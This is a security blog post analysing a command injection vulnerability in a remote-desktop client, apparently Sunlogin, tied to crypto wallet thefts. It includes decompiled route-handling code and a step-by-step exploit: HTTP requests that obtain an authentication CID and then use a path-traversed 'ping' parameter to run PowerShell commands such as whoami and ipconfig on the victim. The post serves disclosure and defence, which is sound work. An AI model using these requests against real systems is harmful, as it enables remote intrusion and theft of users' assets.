paint-brush
Crypto OpSec: How Remote Desktop Software Can Be Exploited To Drain Your Walletby@numencyber
586 reads
586 reads

Crypto OpSec: How Remote Desktop Software Can Be Exploited To Drain Your Wallet

by Numen CyberApril 18th, 2023
Read on Terminal Reader
Read this story w/o Javascript

Too Long; Didn't Read

Recently, several web3 cryptocurrency holders have reported losing their digital assets while using remote control software. The wallet address associated with the hacker is 0xbb3fd383d1c5540e52ef0a7bcb9433375793aeaf. Last year, there was an incident involving a remote controlSoftware that experienced a service explosion due to a leakage of its client identification information.
featured image - Crypto OpSec: How Remote Desktop Software Can Be Exploited To Drain Your Wallet
Numen Cyber HackerNoon profile picture

Recently, several web3 cryptocurrency holders have reported losing their digital assets while using remote control software.

The wallet address associated with the hacker is 0xbb3fd383d1c5540e52ef0a7bcb9433375793aeaf.

Last year, there was an incident involving a remote control software that experienced a service explosion due to a leakage of its client identification information (CID) and command injection vulnerability (CNVD-2022–10270/CNVD-2022–03672).


Whenever the software is launched, it automatically opens a random port number greater than 40000 as an HTTP service. In the event that the parameter cmd value starts with ping or nslookup in the /check route, any command can be executed.


This allowed the attacker to send a C2 agent, enabling them to monitor the victim’s system over a long period of time.

Affected Versions

Personal Edition for Windows <= 11.0.0.33162

Simple Edition <= V1.0.1.43315

Analysis

Let’s take a look at login.cgi

v5 = (__int64 (__fastcall *)())operator new(0x50ui64); 
  v55 = v5; 
  v54 = 15i64; 
  v53 = 0i64; 
  v51[0] = 0; 
  sub_1400F0690(v51, "login.cgi", 9ui64); 
  v6 = sub_140E2D6BC(v5, v51); 
  v57 = &off_1410D3B20; 
  v58 = (char (__fastcall *)(__int64, __int64))sub_140E1EE50; 
  v59 = v52; 
  v60 = a1; 
  v61 = &v57; 
  v66 = (_QWORD *)v6; 
  if ( v6 ) 
  { 
    v7 = v6 + 8 + *(int *)(*(_QWORD *)(v6 + 8) + 4i64); 
    (*(void (__fastcall **)(__int64))(*(_QWORD *)v7 + 8i64))(v7); 
  } 
  sub_140E2D85C(a1 + 55, &v66, &v57); 
  LOBYTE(v8) = 1; 
  sub_1400EEDC0(v51, v8, 0i64); 
  v56 = &v57; 
  v9 = (__int64 (__fastcall *)())operator new(0x50ui64); 
  v55 = v9; 
  v54 = 15i64; 
  v53 = 0i64; 
  v51[0] = 0; 
  sub_1400F0690(v51, (void *)"cgi-bin/login.cgi", 0x11ui64); 
  v10 = sub_140E2D6BC(v9, v51); 
  v57 = &off_1410D3B20; 
  v58 = (char (__fastcall *)(__int64, __int64))sub_140E1EE50; 
  v59 = v52; 
  v60 = a1; 
  v61 = &v57; 
  v66 = (_QWORD *)v10; 
  if ( v10 ) 
  { 
    v11 = v10 + 8 + *(int *)(*(_QWORD *)(v10 + 8) + 4i64); 
    (*(void (__fastcall **)(__int64))(*(_QWORD *)v11 + 8i64))(v11); 
  } 
  sub_140E2D85C(a1 + 55, &v66, &v57); 
  LOBYTE(v12) = 1; 
  sub_1400EEDC0(v51, v12, 0i64); 
  v56 = &v57; 
  v13 = (__int64 (__fastcall *)())operator new(0x50ui64); 
  v55 = v13; 
  v54 = 15i64; 
  v53 = 0i64; 
  v51[0] = 0; 
  sub_1400F0690(v51, (void *)"cgi-bin/rpc", 0xBui64); 
  v14 = sub_140E2D6BC(v13, v51); 
  v57 = &off_1410D3B20; 
  v58 = sub_140E1C954; 
  v59 = v52; 
  v60 = a1; 
  v61 = &v57; 
  v66 = (_QWORD *)v14; 
  if ( v14 ) 
  { 
    v15 = v14 + 8 + *(int *)(*(_QWORD *)(v14 + 8) + 4i64); 
    (*(void (__fastcall **)(__int64))(*(_QWORD *)v15 + 8i64))(v15); 
  }


Navigate to cgi-bin/rpc

Get the following route

v63 = (*(__int64 (__fastcall **)(_QWORD))(**(_QWORD **)(a1 + 8) + 104i64))(*(_QWORD *)(a1 + 8)); 
    sub_140320D80( 
      (int)&qword_1414049C0, 
      1, 
      (int)"..\\includes\\libsunloginclient\\client\\HttpDecideClientType.cpp", 
      (int)"CHttpDecideTcpClientType::DecideClient", 
      205, 
      "[Acceptor][HTTP] new RC HTTP connection %s,%s, plugin:%s, session:%s", 
      v63); 
    if ( (unsigned int)sub_140101DB0(v116, "login") 
      && strcmp(v61, "express_login") 
      && strcmp(v61, "cgi-bin/login.cgi") 
      && strcmp(v61, "log") 
      && strcmp(v61, "cgi-bin/rpc") 
      && strcmp(v61, "transfer") 
      && strcmp(v61, "cloudconfig") 
      && strcmp(v61, "getfastcode") 
      && strcmp(v61, "assist") 
      && strcmp(v61, "cloudconfig") 
      && strcmp(v61, "projection") 
      && strcmp(v61, "getaddress") 
      && strcmp(v61, "sunlogin-tools") ) 
      ... 
              sub_1400F05E0(v116); 
        goto LABEL_168; 
      } 
    } 
    if ( !(unsigned int)sub_140101DB0(v116, "login") 
      || !(unsigned int)sub_140101DB0(v116, "control") 
      || !strcmp(v61, "express_login") 
      || !strcmp(v61, "cgi-bin/login.cgi") 
      || !strcmp(v61, "cgi-bin/rpc") 
      || !strcmp(v61, "desktop.list") 
      || !strcmp(v61, "cloudconfig") 
      || !strcmp(v61, "check") 
      || !strcmp(v61, "transfer") 
      || !strcmp(v61, "getfastcode") 
      || !strcmp(v61, "assist") 
      || !strcmp(v61, "micro-live/enable") 
      || !strcmp(v61, "projection") 
      || !strcmp(v61, "getaddress") ) 
    { 
      v103 = *(_QWORD *)(a1 + 8);

As per the vulnerability information disclosed online, by obtaining the first authentication CID from the cgi-bin/rpc route, it is possible to distinguish the function by examining the action parameter.

When the action parameter is set to verify-haras, the function returns a verify_string.

if ( !(unsigned int)sub_140101DB0(v131, "verify-haras") ) 
  { 
    sub_1400F0690(Src, "{\"__code\":0,\"enabled\":\"1\",\"verify_string\":\"", 0x2Bui64); 
    LOBYTE(v22) = 1; 
    v23 = (*(__int64 (__fastcall **)(_QWORD, char *, __int64))(**(_QWORD **)(*(_QWORD *)(a1 + 416) + 288i64) + 144i64))( 
            *(_QWORD *)(*(_QWORD *)(a1 + 416) + 288i64), 
            v125, 
            v22); 
    sub_1400EEE40(Src, v23, 0i64, -1i64); 
    sub_1400F05E0(v125); 
    sub_1400EEC60(Src, "\",\"code\":0} ", 0xCui64); 
    v73 = 1; 
    CxxThrowException(&v73, (_ThrowInfo *)&stru_1412F7B30); 
  }

If the action parameter is set to login-type, the function returns information about the victim’s device.

if ( !(unsigned int)sub_140101DB0(v131, "login-type") ) 
  { 
    sub_1405ACBA0(v93); 
    v16 = "0"; 
    if ( (*(unsigned __int8 (__fastcall **)(_QWORD))(**(_QWORD **)(*(_QWORD *)(a1 + 416) + 288i64) + 112i64))(*(_QWORD *)(*(_QWORD *)(a1 + 416) + 288i64)) ) 
    ... 
    memset(Buffer, 0, sizeof(Buffer)); 
    sub_140150A60( 
      Buffer, 
      "{\"__code\":0,\"use_custom\":%d,\"code\":0,\"version\":\"%s\",\"isbinding\":%s,\"isinstalled\":%s,\"isprojection\"" 
      ":%s,\"platform\":\"%s\",\"mac\":\"%s\",\"request_need_pwd\":\"%s\",\"accept_request\":\"1\",\"support_file\":\"1\"" 
      ",\"disable_remote_bind\":\"%s\"} "); 
    if ( Buffer[0] ) 
    { 
      do 
        ++v6; 
      while ( Buffer[v6] ); 
      v4 = v6; 
    } 
    sub_1400F0690(Src, Buffer, v4); 
    v72 = 1; 
    CxxThrowException(&v72, (_ThrowInfo *)&stru_1412F7B30); 
  }

In addition to the above, there are two other parameters: fast-login and bind-request.

By examining the check route, an attacker can create malicious commands using ping or nslookup, thereby allowing them to achieve remote command execution.

The getaddress route enables the retrieval of the https service address mapped to a fixed port on the extranet. This address can be easily crawled by web asset search engines or scanned by attackers, thereby expanding the attack surface beyond the intranet.

Exploitation Process

Upon each startup, the rpc interface randomly selects a port number greater than 40,000.

The initial step is to obtain the CID of the affected user/entity.

GET /cgi-bin/rpc?action=verify-haras HTTP/1.1 
Host: 10.211.55.3:49716 
Cache-Control: max-age=0 
Upgrade-Insecure-Requests: 1 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 
Accept-Encoding: gzip, deflate 
Accept-Language: zh-CN,zh;q=0.9 
Connection: close

Afterward, the attacker can add a CID to the authentication cookie, which looks like this: Cookie: CID=Pvqsv5f5QDs8vYotYsUEFvTkqJuKeZIS. This allows them to execute any command on the victim’s computer.

GET /check?cmd=ping../../../../../../../../../windows/system32/WindowsPowerShell/v1.0/powershell.exe+whoami+/all HTTP/1.1 
Host: 10.211.55.3:49716 
Cache-Control: max-age=0 
Upgrade-Insecure-Requests: 1 
Cookie:CID=Pvqsv5f5QDs8vYotYsUEFvTkqJuKeZIS 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 
Accept-Encoding: gzip, deflate 
Accept-Language: zh-CN,zh;q=0.9 
Connection: close

/check?cmd=ping../../../../../../../../../windows/system32/WindowsPowerShell/v1.0/powershell.exe+ipconfig 

Access and view the victim’s system files.

Summary

As web3 infrastructure continues to develop, the high value of digital assets and the invisibility of web3 infrastructure make it an attractive target for hackers. They have shifted from traditional network security to stealing data within the web3 ecosystem, including stealing users’ digital assets.

Many hackers now use 0-day/1-day attacks to infiltrate target facilities such as servers, personal hosts, wallet apps, and mobile clients. Their ultimate goal is to steal users’ digital assets.


To safeguard against such attacks, users are advised to keep their systems updated and patched, avoid clicking on links from unknown sources, and store their keys in isolated systems.


With the Web3 landscape constantly expanding, it is imperative for projects to prioritize the safety of their users’ assets and adopt industry best practices, such as comprehensive audits and regularly scanning for weaknesses to minimize the possibility of similar attacks occurring in the future.


Read more about our services here.